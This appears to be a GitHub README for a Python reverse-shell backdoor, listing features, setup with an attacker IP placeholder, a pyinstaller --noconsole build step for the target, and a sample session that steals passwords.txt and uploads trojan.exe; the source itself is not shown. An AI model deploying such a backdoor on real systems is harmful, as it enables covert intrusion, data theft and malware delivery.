A lightweight reverse shell/backdoor built in Python for educational and authorized penetration testing purposes. It allows remote command execution, file transfer, and even capturing screenshots from a target machine.
⚠️ Disclaimer: This tool is created for educational and ethical use only. Use it only on systems you have explicit permission to test.
- ✅ Remote shell access
- ✅ Upload & download files
- ✅ Change directories
- ✅ Take screenshots remotely
- ✅ Cross-platform (Windows/Linux/macOS)
- ✅ Lightweight & easy to customize
📦Backdoor-Connection-Using-Python
┣ 📜backdoor.py # Script to be executed on the target machine
┣ 📜server.py # Script run by the attacker to control the target
┗ 📜README.md # Project documentation
- Python 3.x
- Pillow (for screenshots)
Install dependencies:
pip install pillowUpdate the following in both server.py and backdoor.py:
SERVER_IP = "YOUR.ATTACKER.IP"
SERVER_PORT = 4444python3 server.pyWait for the incoming connection.
python3 backdoor.pyOptionally, compile
backdoor.pyinto an executable usingpyinstaller:
pip install pyinstaller
pyinstaller --noconsole --onefile backdoor.pyOnce connected, use the following commands from the attacker's terminal:
| Command | Description |
|---|---|
cd <path> |
Change directory on the victim's system |
download <file> |
Download file from victim to attacker |
upload <file> |
Upload file from attacker to victim |
screenshot |
Capture and save screenshot |
clear |
Clear the screen |
quit |
Close the connection |
> cd Desktop
> download passwords.txt
> upload trojan.exe
> screenshot
> quit
Sample screenshot captured from target
- Python socket programming
- Remote shell and command execution
- File transmission over TCP
- Screenshot capture using Pillow
- Real-world ethical hacking tools
This project is licensed under the MIT License.
Aryan Srivastava
GitHub Profile »
⭐ Star the repo if you found it useful!